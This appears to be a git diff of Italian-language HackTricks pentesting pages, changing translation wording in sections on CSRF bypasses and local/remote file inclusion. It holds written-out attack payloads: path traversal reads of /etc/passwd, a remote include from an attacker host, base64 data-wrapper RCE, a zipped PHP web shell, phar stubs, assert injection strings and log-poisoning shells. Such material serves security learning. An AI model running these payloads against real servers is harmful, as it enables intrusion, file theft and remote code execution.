* **Verifica dell'utente**: Richiedere la password dell'utente o risolvere un captcha può confermare l'intento dell'utente.
|
||||||
* **Controllo degli header Referrer o Origin**: Validare questi header può aiutare a garantire che le richieste provengano da fonti affidabili. Tuttavia, una creazione attenta degli URL può eludere controlli mal implementati, come:
|
* **Controllo delle intestazioni Referrer o Origin**: Validare queste intestazioni può aiutare a garantire che le richieste provengano da fonti affidabili. Tuttavia, una creazione attenta degli URL può eludere controlli mal implementati, come:
|
||||||
* Utilizzare `http://mal.net?orig=http://example.com` (l'URL termina con l'URL fidato)
|
* Utilizzare `http://mal.net?orig=http://example.com` (l'URL termina con l'URL fidato)
|
||||||
* Utilizzare `http://example.com.mal.net` (l'URL inizia con l'URL fidato)
|
* Utilizzare `http://example.com.mal.net` (l'URL inizia con l'URL fidato)
|
||||||
* **Modifica dei nomi dei parametri**: Alterare i nomi dei parametri nelle richieste POST o GET può aiutare a prevenire attacchi automatizzati.
|
* **Modifica dei nomi dei parametri**: Alterare i nomi dei parametri nelle richieste POST o GET può aiutare a prevenire attacchi automatizzati.
|
||||||
|
@ -71,7 +71,7 @@ Forse il modulo che vuoi abusare è preparato per inviare una **richiesta POST c
|
||||||
|
|
||||||
### Lack of token
|
### Lack of token
|
||||||
|
|
||||||
Le applicazioni potrebbero implementare un meccanismo per **convalidare i token** quando sono presenti. Tuttavia, si verifica una vulnerabilità se la convalida viene completamente saltata quando il token è assente. Gli attaccanti possono sfruttare questo rimuovendo il parametro che trasporta il token, non solo il suo valore. Questo consente loro di eludere il processo di convalida e condurre efficacemente un attacco Cross-Site Request Forgery (CSRF).
|
Le applicazioni potrebbero implementare un meccanismo per **convalidare i token** quando sono presenti. Tuttavia, si verifica una vulnerabilità se la convalida viene completamente saltata quando il token è assente. Gli attaccanti possono sfruttare questo rimuovendo il **parametro** che trasporta il token, non solo il suo valore. Questo consente loro di eludere il processo di convalida e condurre efficacemente un attacco Cross-Site Request Forgery (CSRF).
|
||||||
|
|
||||||
### CSRF token is not tied to the user session
|
### CSRF token is not tied to the user session
|
||||||
|
|
||||||
|
@ -97,9 +97,9 @@ Questo potrebbe funzionare anche inviando il **parametro \_method all'interno di
|
||||||
|
|
||||||
### Custom header token bypass
|
### Custom header token bypass
|
||||||
|
|
||||||
Se la richiesta aggiunge un **header personalizzato** con un **token** alla richiesta come **metodo di protezione CSRF**, allora:
|
Se la richiesta aggiunge un **intestazione personalizzata** con un **token** alla richiesta come **metodo di protezione CSRF**, allora:
|
||||||
|
|
||||||
* Testa la richiesta senza il **Token Personalizzato e anche l'header.**
|
* Testa la richiesta senza il **Token Personalizzato e anche l'intestazione.**
|
||||||
* Testa la richiesta con esattamente **la stessa lunghezza ma un token diverso**.
|
* Testa la richiesta con esattamente **la stessa lunghezza ma un token diverso**.
|
||||||
|
|
||||||
### CSRF token is verified by a cookie
|
### CSRF token is verified by a cookie
|
||||||
|
@ -125,7 +125,7 @@ Di seguito è riportato un esempio di come potrebbe essere strutturato un attacc
|
||||||
|
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Nota che se il **token csrf è legato al cookie di sessione, questo attacco non funzionerà** perché dovrai impostare la sessione della vittima, e quindi stai attaccando te stesso.
|
Nota che se il **token csrf è correlato con il cookie di sessione, questo attacco non funzionerà** perché dovrai impostare la sessione della vittima, e quindi stai attaccando te stesso.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Modifica del Content-Type
|
### Modifica del Content-Type
|
||||||
|
@ -194,7 +194,7 @@ document.forms[0].submit();
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
### **Bypass del metodo HEAD**
|
### **Metodo HEAD bypass**
|
||||||
|
|
||||||
La prima parte di [**questo CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) spiega che [il codice sorgente di Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un router, è impostato per **gestire le richieste HEAD come richieste GET** senza corpo di risposta - un comune workaround che non è unico per Oak. Invece di un gestore specifico che si occupa delle richieste HEAD, vengono semplicemente **date al gestore GET ma l'app rimuove solo il corpo della risposta**.
|
La prima parte di [**questo CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) spiega che [il codice sorgente di Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un router, è impostato per **gestire le richieste HEAD come richieste GET** senza corpo di risposta - un comune workaround che non è unico per Oak. Invece di un gestore specifico che si occupa delle richieste HEAD, vengono semplicemente **date al gestore GET ma l'app rimuove solo il corpo della risposta**.
|
||||||
|
|
||||||
|
@ -323,7 +323,7 @@ headers: {"Content-Type": "application/x-www-form-urlencoded"},
|
||||||
mode: "no-cors"
|
mode: "no-cors"
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
### multipart/form-data POST request v2
|
### richiesta POST multipart/form-data v2
|
||||||
```javascript
|
```javascript
|
||||||
// https://www.exploit-db.com/exploits/20009
|
// https://www.exploit-db.com/exploits/20009
|
||||||
var fileSize = fileData.length,
|
var fileSize = fileData.length,
|
||||||
|
@ -584,7 +584,7 @@ login(USER, line.strip())
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al [**Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al [**Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
|
@ -595,7 +595,7 @@ Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
|
||||||
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
||||||
|
|
||||||
**Ultimi annunci**\
|
**Ultimi annunci**\
|
||||||
Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme
|
Rimani informato sulle nuove bug bounty in arrivo e aggiornamenti cruciali delle piattaforme
|
||||||
|
|
||||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
||||||
|
|
||||||
|
@ -609,7 +609,7 @@ Impara e pratica Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,18 +15,18 @@ Impara e pratica l'Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al [**Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al [**Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) server per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
**Approfondimenti sull'Hacking**\
|
**Approfondimenti sull'Hacking**\
|
||||||
Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
|
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
||||||
|
|
||||||
**Notizie di Hacking in Tempo Reale**\
|
**Notizie di Hacking in Tempo Reale**\
|
||||||
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
|
||||||
|
|
||||||
**Ultimi Annunci**\
|
**Ultimi Annunci**\
|
||||||
Rimani informato sui nuovi bug bounty in arrivo e aggiornamenti cruciali delle piattaforme
|
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme
|
||||||
|
|
||||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
||||||
|
|
||||||
|
@ -54,7 +54,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||||
Prova anche a cambiare `/` con `\`\
|
Prova anche a cambiare `/` con `\`\
|
||||||
Prova anche ad aggiungere `../../../../../`
|
Prova anche ad aggiungere `../../../../../`
|
||||||
|
|
||||||
Una lista che utilizza diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
Una lista che utilizza diverse tecniche per trovare il file /etc/password (per controllare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||||
|
|
||||||
### **Windows**
|
### **Windows**
|
||||||
|
|
||||||
|
@ -65,7 +65,7 @@ Unione di diverse liste di parole:
|
||||||
Prova anche a cambiare `/` con `\`\
|
Prova anche a cambiare `/` con `\`\
|
||||||
Prova anche a rimuovere `C:/` e aggiungere `../../../../../`
|
Prova anche a rimuovere `C:/` e aggiungere `../../../../../`
|
||||||
|
|
||||||
Una lista che utilizza diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
Una lista che utilizza diverse tecniche per trovare il file /boot.ini (per controllare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||||
|
|
||||||
### **OS X**
|
### **OS X**
|
||||||
|
|
||||||
|
@ -114,7 +114,7 @@ Il file system di un server può essere esplorato ricorsivamente per identificar
|
||||||
```bash
|
```bash
|
||||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||||
```
|
```
|
||||||
2. **Indagare per Cartelle:** Aggiungi il nome della cartella sospetta (ad esempio, `private`) all'URL, quindi naviga di nuovo a `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
|
2. **Sonda per Cartelle:** Aggiungi il nome della cartella sospetta (ad esempio, `private`) all'URL, quindi torna a `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
|
||||||
```bash
|
```bash
|
||||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||||
```
|
```
|
||||||
|
@ -135,7 +135,7 @@ In PHP, varie rappresentazioni di un percorso di file possono essere considerate
|
||||||
|
|
||||||
* `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` e `/etc/passwd/` sono tutti trattati come lo stesso percorso.
|
* `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` e `/etc/passwd/` sono tutti trattati come lo stesso percorso.
|
||||||
* Quando gli ultimi 6 caratteri sono `passwd`, aggiungere un `/` (rendendolo `passwd/`) non cambia il file mirato.
|
* Quando gli ultimi 6 caratteri sono `passwd`, aggiungere un `/` (rendendolo `passwd/`) non cambia il file mirato.
|
||||||
* Allo stesso modo, se `.php` viene aggiunto a un percorso di file (come `shellcode.php`), aggiungere `/.` alla fine non altererà il file a cui si accede.
|
* Allo stesso modo, se `.php` viene aggiunto a un percorso di file (come `shellcode.php`), aggiungere un `/.` alla fine non altererà il file a cui si accede.
|
||||||
|
|
||||||
Gli esempi forniti dimostrano come utilizzare il troncamento del percorso per accedere a `/etc/passwd`, un obiettivo comune a causa del suo contenuto sensibile (informazioni sugli account utente):
|
Gli esempi forniti dimostrano come utilizzare il troncamento del percorso per accedere a `/etc/passwd`, un obiettivo comune a causa del suo contenuto sensibile (informazioni sugli account utente):
|
||||||
```
|
```
|
||||||
|
@ -150,7 +150,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
||||||
In questi scenari, il numero di traversate necessarie potrebbe essere intorno a 2027, ma questo numero può variare in base alla configurazione del server.
|
In questi scenari, il numero di traversate necessarie potrebbe essere intorno a 2027, ma questo numero può variare in base alla configurazione del server.
|
||||||
|
|
||||||
* **Utilizzo di Segmenti di Punto e Caratteri Aggiuntivi**: Le sequenze di traversata (`../`) combinate con segmenti di punto e caratteri extra possono essere utilizzate per navigare nel file system, ignorando efficacemente le stringhe aggiunte dal server.
|
* **Utilizzo di Segmenti di Punto e Caratteri Aggiuntivi**: Le sequenze di traversata (`../`) combinate con segmenti di punto e caratteri extra possono essere utilizzate per navigare nel file system, ignorando efficacemente le stringhe aggiunte dal server.
|
||||||
* **Determinare il Numero Richiesto di Traversate**: Attraverso tentativi ed errori, si può trovare il numero preciso di sequenze `../` necessarie per navigare fino alla directory radice e poi a `/etc/passwd`, assicurandosi che eventuali stringhe aggiunte (come `.php`) siano neutralizzate ma il percorso desiderato (`/etc/passwd`) rimanga intatto.
|
* **Determinazione del Numero Richiesto di Traversate**: Attraverso tentativi ed errori, si può trovare il numero preciso di sequenze `../` necessarie per navigare fino alla directory radice e poi a `/etc/passwd`, assicurandosi che eventuali stringhe aggiunte (come `.php`) siano neutralizzate ma il percorso desiderato (`/etc/passwd`) rimanga intatto.
|
||||||
* **Iniziare con una Directory Fittizia**: È una pratica comune iniziare il percorso con una directory inesistente (come `a/`). Questa tecnica viene utilizzata come misura precauzionale o per soddisfare i requisiti della logica di parsing del percorso del server.
|
* **Iniziare con una Directory Fittizia**: È una pratica comune iniziare il percorso con una directory inesistente (come `a/`). Questa tecnica viene utilizzata come misura precauzionale o per soddisfare i requisiti della logica di parsing del percorso del server.
|
||||||
|
|
||||||
Quando si impiegano tecniche di troncamento del percorso, è fondamentale comprendere il comportamento di parsing del percorso del server e la struttura del file system. Ogni scenario potrebbe richiedere un approccio diverso, e spesso è necessario testare per trovare il metodo più efficace.
|
Quando si impiegano tecniche di troncamento del percorso, è fondamentale comprendere il comportamento di parsing del percorso del server e la struttura del file system. Ogni scenario potrebbe richiedere un approccio diverso, e spesso è necessario testare per trovare il metodo più efficace.
|
||||||
|
@ -172,7 +172,7 @@ In php questo è disabilitato per impostazione predefinita perché **`allow_url_
|
||||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||||
```
|
```
|
||||||
Se per qualche motivo **`allow_url_include`** è **On**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), potresti usare ad esempio il protocollo dati con base64 per decodificare un codice PHP b64 e ottenere RCE:
|
Se per qualche motivo **`allow_url_include`** è **Attivo**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), potresti usare ad esempio il protocollo dati con base64 per decodificare un codice PHP b64 e ottenere RCE:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```
|
```
|
||||||
|
@ -181,7 +181,7 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Nel codice precedente, il finale `+.txt` è stato aggiunto perché l'attaccante aveva bisogno di una stringa che finisse con `.txt`, quindi la stringa termina con essa e dopo la decodifica b64 quella parte restituirà solo spazzatura e il vero codice PHP sarà incluso (e quindi, eseguito).
|
Nel codice precedente, il finale `+.txt` è stato aggiunto perché l'attaccante aveva bisogno di una stringa che finisse con `.txt`, quindi la stringa termina con esso e dopo la decodifica b64 quella parte restituirà solo spazzatura e il vero codice PHP sarà incluso (e quindi, eseguito).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Un altro esempio **che non utilizza il protocollo `php://`** sarebbe:
|
Un altro esempio **che non utilizza il protocollo `php://`** sarebbe:
|
||||||
|
@ -199,7 +199,7 @@ In python in un codice come questo:
|
||||||
# file_name is controlled by a user
|
# file_name is controlled by a user
|
||||||
os.path.join(os.getcwd(), "public", file_name)
|
os.path.join(os.getcwd(), "public", file_name)
|
||||||
```
|
```
|
||||||
Se l'utente passa un **percorso assoluto** a **`file_name`**, il **percorso precedente viene semplicemente rimosso**:
|
Se l'utente passa un **percorso assoluto** a **`file_name`**, **il percorso precedente viene semplicemente rimosso**:
|
||||||
```python
|
```python
|
||||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||||
'/etc/passwd'
|
'/etc/passwd'
|
||||||
|
@ -262,7 +262,7 @@ I filtri PHP consentono di eseguire **operazioni di modifica di base sui dati**
|
||||||
* `convert.iconv.*` : Trasforma in una codifica diversa (`convert.iconv.<input_enc>.<output_enc>`). Per ottenere la **lista di tutte le codifiche** supportate esegui nel terminale: `iconv -l`
|
* `convert.iconv.*` : Trasforma in una codifica diversa (`convert.iconv.<input_enc>.<output_enc>`). Per ottenere la **lista di tutte le codifiche** supportate esegui nel terminale: `iconv -l`
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, il che potrebbe essere utile per scrivere testo arbitrario o per rendere una funzione come include processo testo arbitrario. Per ulteriori informazioni controlla [**LFI2RCE tramite filtri php**](lfi2rce-via-php-filters.md).
|
Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, che potrebbe essere utile per scrivere testo arbitrario o per rendere una funzione come include processo testo arbitrario. Per ulteriori informazioni controlla [**LFI2RCE tramite filtri php**](lfi2rce-via-php-filters.md).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
* [Filtri di Compressione](https://www.php.net/manual/en/filters.compression.php)
|
* [Filtri di Compressione](https://www.php.net/manual/en/filters.compression.php)
|
||||||
|
@ -312,15 +312,15 @@ La parte "php://filter" non fa distinzione tra maiuscole e minuscole
|
||||||
|
|
||||||
Nel post originale puoi trovare una spiegazione dettagliata della tecnica, ma ecco un rapido riassunto:
|
Nel post originale puoi trovare una spiegazione dettagliata della tecnica, ma ecco un rapido riassunto:
|
||||||
|
|
||||||
* Utilizzare il codec **`UCS-4LE`** per lasciare il carattere iniziale del testo all'inizio e far aumentare esponenzialmente la dimensione della stringa.
|
* Utilizza il codec **`UCS-4LE`** per lasciare il carattere iniziale del testo all'inizio e far aumentare esponenzialmente la dimensione della stringa.
|
||||||
* Questo sarà utilizzato per generare un **testo così grande quando la lettera iniziale è indovinata correttamente** che php attiverà un **errore**.
|
* Questo sarà utilizzato per generare un **testo così grande quando la lettera iniziale è indovinata correttamente** che php attiverà un **errore**.
|
||||||
* Il filtro **dechunk** **rimuoverà tutto se il primo carattere non è un esadecimale**, quindi possiamo sapere se il primo carattere è esadecimale.
|
* Il filtro **dechunk** **rimuoverà tutto se il primo carattere non è esadecimale**, quindi possiamo sapere se il primo carattere è esadecimale.
|
||||||
* Questo, combinato con il precedente (e altri filtri a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo vedendo quando facciamo abbastanza trasformazioni per far sì che non sia un carattere esadecimale. Perché se è esadecimale, dechunk non lo eliminerà e la bomba iniziale farà generare un errore a php.
|
* Questo, combinato con il precedente (e altri filtri a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo vedendo quando facciamo abbastanza trasformazioni per far sì che non sia un carattere esadecimale. Perché se è esadecimale, dechunk non lo eliminerà e la bomba iniziale farà generare un errore a php.
|
||||||
* Il codec **convert.iconv.UNICODE.CP930** trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una `a` per esempio, perché se applichiamo 6 di questo codec a->b->c->d->e->f->g la lettera non è più un carattere esadecimale, quindi dechunk non l'ha eliminata e l'errore php viene attivato perché si moltiplica con la bomba iniziale.
|
* Il codec **convert.iconv.UNICODE.CP930** trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una `a`, ad esempio, perché se applichiamo 6 di questo codec a->b->c->d->e->f->g la lettera non è più un carattere esadecimale, quindi dechunk non l'ha eliminata e l'errore php viene attivato perché si moltiplica con la bomba iniziale.
|
||||||
* Utilizzando altre trasformazioni come **rot13** all'inizio è possibile esfiltrare altri caratteri come n, o, p, q, r (e altri codec possono essere utilizzati per spostare altre lettere nell'intervallo esadecimale).
|
* Utilizzando altre trasformazioni come **rot13** all'inizio è possibile esfiltrare altri caratteri come n, o, p, q, r (e possono essere utilizzati altri codec per spostare altre lettere nell'intervallo esadecimale).
|
||||||
* Quando il carattere iniziale è un numero è necessario codificarlo in base64 e esfiltrare le prime 2 lettere per esfiltrare il numero.
|
* Quando il carattere iniziale è un numero è necessario codificarlo in base64 e esfiltrare le prime 2 lettere per esfiltrare il numero.
|
||||||
* Il problema finale è vedere **come esfiltrare più della lettera iniziale**. Utilizzando filtri di memoria ordinata come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e ottenere in prima posizione altre lettere del testo.
|
* Il problema finale è vedere **come esfiltrare più della lettera iniziale**. Utilizzando filtri di memoria ordinata come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e ottenere in prima posizione altre lettere del testo.
|
||||||
* E per poter ottenere **ulteriori dati** l'idea è di **generare 2 byte di dati spazzatura all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farlo **pivotare con i successivi 2 byte**, e **eliminare i dati fino ai dati spazzatura** (questo rimuoverà i primi 2 byte del testo iniziale). Continuare a farlo fino a raggiungere il bit desiderato da esfiltrare.
|
* E per poter ottenere **ulteriori dati** l'idea è di **generare 2 byte di dati spazzatura all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farlo **pivotare con i successivi 2 byte**, e **eliminare i dati fino ai dati spazzatura** (questo rimuoverà i primi 2 byte del testo iniziale). Continua a farlo fino a raggiungere il bit desiderato da esfiltrare.
|
||||||
|
|
||||||
Nel post è stata anche esfiltrata un'utility per eseguire questo automaticamente: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
Nel post è stata anche esfiltrata un'utility per eseguire questo automaticamente: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
||||||
|
|
||||||
|
@ -336,7 +336,7 @@ Puoi anche usare **php://stdin, php://stdout e php://stderr** per accedere ai **
|
||||||
### zip:// e rar://
|
### zip:// e rar://
|
||||||
|
|
||||||
Carica un file Zip o Rar con un PHPShell all'interno e accedilo.\
|
Carica un file Zip o Rar con un PHPShell all'interno e accedilo.\
|
||||||
Per poter abusare del protocollo rar, **deve essere specificamente attivato**.
|
Per poter abusare del protocollo rar, **deve essere attivato specificamente**.
|
||||||
```bash
|
```bash
|
||||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||||
zip payload.zip payload.php;
|
zip payload.zip payload.php;
|
||||||
|
@ -387,7 +387,7 @@ $phar->addFromString('test.txt', 'text');
|
||||||
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||||||
$phar->stopBuffering();
|
$phar->stopBuffering();
|
||||||
```
|
```
|
||||||
Per compilare il file `.phar`, il seguente comando dovrebbe essere eseguito:
|
Per compilare il file `.phar`, il seguente comando deve essere eseguito:
|
||||||
```bash
|
```bash
|
||||||
php --define phar.readonly=0 create_path.php
|
php --define phar.readonly=0 create_path.php
|
||||||
```
|
```
|
||||||
|
@ -430,7 +430,7 @@ Ad esempio, il codice PHP potrebbe essere progettato per prevenire il traversame
|
||||||
```bash
|
```bash
|
||||||
assert("strpos('$file', '..') === false") or die("");
|
assert("strpos('$file', '..') === false") or die("");
|
||||||
```
|
```
|
||||||
Mentre questo mira a fermare la traversata, crea involontariamente un vettore per l'iniezione di codice. Per sfruttare questo per leggere i contenuti dei file, un attaccante potrebbe utilizzare:
|
Mentre questo mira a fermare la traversata, crea involontariamente un vettore per l'iniezione di codice. Per sfruttare questo per leggere i contenuti dei file, un attaccante potrebbe usare:
|
||||||
```plaintext
|
```plaintext
|
||||||
' and die(highlight_file('/etc/passwd')) or '
|
' and die(highlight_file('/etc/passwd')) or '
|
||||||
```
|
```
|
||||||
|
@ -440,9 +440,9 @@ Allo stesso modo, per eseguire comandi di sistema arbitrari, si potrebbe usare:
|
||||||
```
|
```
|
||||||
È importante **URL-encoded questi payload**.
|
È importante **URL-encoded questi payload**.
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
**Approfondimenti sul hacking**\
|
**Approfondimenti sul hacking**\
|
||||||
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
||||||
|
@ -479,7 +479,7 @@ Spiegato in precedenza, [**segui questo link**](./#remote-file-inclusion).
|
||||||
|
|
||||||
### Via file di log Apache/Nginx
|
### Via file di log Apache/Nginx
|
||||||
|
|
||||||
Se il server Apache o Nginx è **vulnerabile a LFI** all'interno della funzione include, potresti provare ad accedere a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, impostando all'interno del **user agent** o all'interno di un **parametro GET** una shell PHP come **`<?php system($_GET['c']); ?>`** e includere quel file
|
Se il server Apache o Nginx è **vulnerabile a LFI** all'interno della funzione include potresti provare ad accedere a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, impostando all'interno del **user agent** o all'interno di un **parametro GET** una shell php come **`<?php system($_GET['c']); ?>`** e includere quel file
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Nota che **se usi virgolette doppie** per la shell invece di **virgolette semplici**, le virgolette doppie verranno modificate per la stringa "_**quote;**_", **PHP genererà un errore** lì e **nient'altro verrà eseguito**.
|
Nota che **se usi virgolette doppie** per la shell invece di **virgolette semplici**, le virgolette doppie verranno modificate per la stringa "_**quote;**_", **PHP genererà un errore** lì e **nient'altro verrà eseguito**.
|
||||||
|
@ -487,7 +487,7 @@ Nota che **se usi virgolette doppie** per la shell invece di **virgolette sempli
|
||||||
Inoltre, assicurati di **scrivere correttamente il payload** o PHP genererà un errore ogni volta che cerca di caricare il file di log e non avrai una seconda opportunità.
|
Inoltre, assicurati di **scrivere correttamente il payload** o PHP genererà un errore ogni volta che cerca di caricare il file di log e non avrai una seconda opportunità.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Questo potrebbe essere fatto anche in altri log, ma **fai attenzione**, il codice all'interno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'intestazione **autorizzazione "basic"** contiene "user:password" in Base64 ed è decodificata all'interno dei log. La PHPShell potrebbe essere inserita all'interno di questa intestazione.\
|
